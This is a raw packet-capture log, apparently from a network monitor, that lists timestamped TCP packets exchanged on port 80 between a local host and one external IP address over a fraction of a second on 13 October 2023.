Oct 13, 2023 16:05:56.255399942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.255426884 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.255465984 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.255494118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.255533934 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.255703926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.255747080 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.255800009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.255845070 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.255852938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.255897999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.255898952 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.255943060 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.255960941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.256006956 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.256021023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.256063938 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.256079912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.256124020 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.256191969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.256237984 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.256251097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.256298065 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.256328106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.256372929 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.256426096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.256470919 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.256479025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.256520033 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.256593943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.256638050 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.256640911 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.256685972 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.256844044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.256887913 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.256954908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.257004023 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.257034063 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.257078886 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.257097006 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.257139921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.257144928 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.257183075 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.257246971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.257261992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.257292032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.257313967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.257333994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.257379055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.257420063 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.257456064 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.257492065 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.257498980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.257533073 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.257584095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.257630110 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.257649899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.257688999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.257689953 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.257728100 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.257755995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.257790089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.257797003 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.257843018 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.257863045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.257904053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.257904053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.257947922 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.257968903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.258013964 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.258045912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.258089066 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.258094072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.258133888 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.258181095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.258219957 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.258239031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.258284092 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.258308887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.258348942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.258358955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.258399010 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.258548021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.258588076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.258589983 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.258613110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.258627892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.258652925 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.258670092 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.258711100 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.258837938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.258881092 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.258888006 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.258925915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.258935928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.258975983 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.258992910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.259033918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.259033918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.259073973 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.259103060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.259131908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.259145021 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.259176016 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.259217978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.259263992 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.259310961 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.259351015 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.259356976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.259397984 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.259428978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.259470940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.259546041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.259588957 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.259618998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.259660959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.259718895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.259759903 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.259790897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.259834051 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.259864092 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.259905100 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.259978056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.260021925 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.260034084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.260072947 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.260138988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.260184050 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.260193110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.260232925 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.260238886 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.260283947 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.260297060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.260344982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.260379076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.260421991 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.260452986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.260493994 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.260560036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.260601044 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.260617971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.260659933 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.260689974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.260731936 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.260787964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.260853052 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.260890961 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.260936022 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.260972023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.261007071 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.261050940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.261087894 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.261157036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.261199951 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.261233091 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.261270046 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.261316061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.261358023 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.261408091 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.261430025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.261450052 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.261471033 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.261499882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.261543989 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.261550903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.261596918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.261627913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.261670113 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.261708975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.261751890 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.261795998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.261837959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.261883974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.261925936 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.261929989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.261974096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.261990070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.262020111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.262031078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.262067080 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.262080908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.262128115 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.262145996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.262183905 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.262200117 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.262239933 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.262257099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.262293100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.262296915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.262331009 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.262348890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.262391090 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.262456894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.262500048 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.262531042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.262573957 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.262614965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.262656927 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.262701988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.262743950 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.262799978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.262842894 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.262845039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.262887955 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.262947083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.262989998 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263005018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263036966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263046026 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263077974 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263086081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263109922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263125896 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263130903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263158083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263180971 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263195038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263211966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263237953 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263269901 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263282061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263295889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263324976 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263344049 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263353109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263370037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263402939 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263421059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263442039 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263449907 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263462067 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263463020 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263495922 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263498068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263525963 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263542891 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263557911 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263570070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263592005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263600111 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263612032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263641119 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263654947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263678074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263696909 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263700962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263731003 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263746023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263750076 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263770103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263782024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263788939 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263794899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263824940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263854980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263858080 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263868093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263890028 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263890982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.263911009 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.263936996 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.298379898 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.298428059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.298522949 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.298522949 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.298639059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.298652887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.298683882 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.298698902 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.299072981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.299124956 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.299149036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.299192905 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.299279928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.299321890 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.299443007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.299485922 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.299546957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.299591064 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.299628019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.299673080 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.299695969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.299750090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.299752951 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.299787045 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.299804926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.299832106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.299844027 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.299890995 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.299926996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.299981117 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.300005913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.300049067 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.300148010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.300194025 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.300209999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.300250053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.300369024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.300414085 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.300467014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.300514936 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.300529957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.300554037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.300573111 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.300586939 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.300621033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.300666094 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.300671101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.300709963 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.300738096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.300781012 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.300817013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.300858021 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.300868988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.300910950 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.300946951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.300988913 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.300996065 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.301037073 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.301073074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.301120043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.301183939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.301227093 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.301249981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.301264048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.301294088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.301311016 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.301331997 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.301377058 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.301402092 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.301441908 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:56.301455021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:56.301506996 CEST	49762	80	192.168.2.4	91.215.85.17
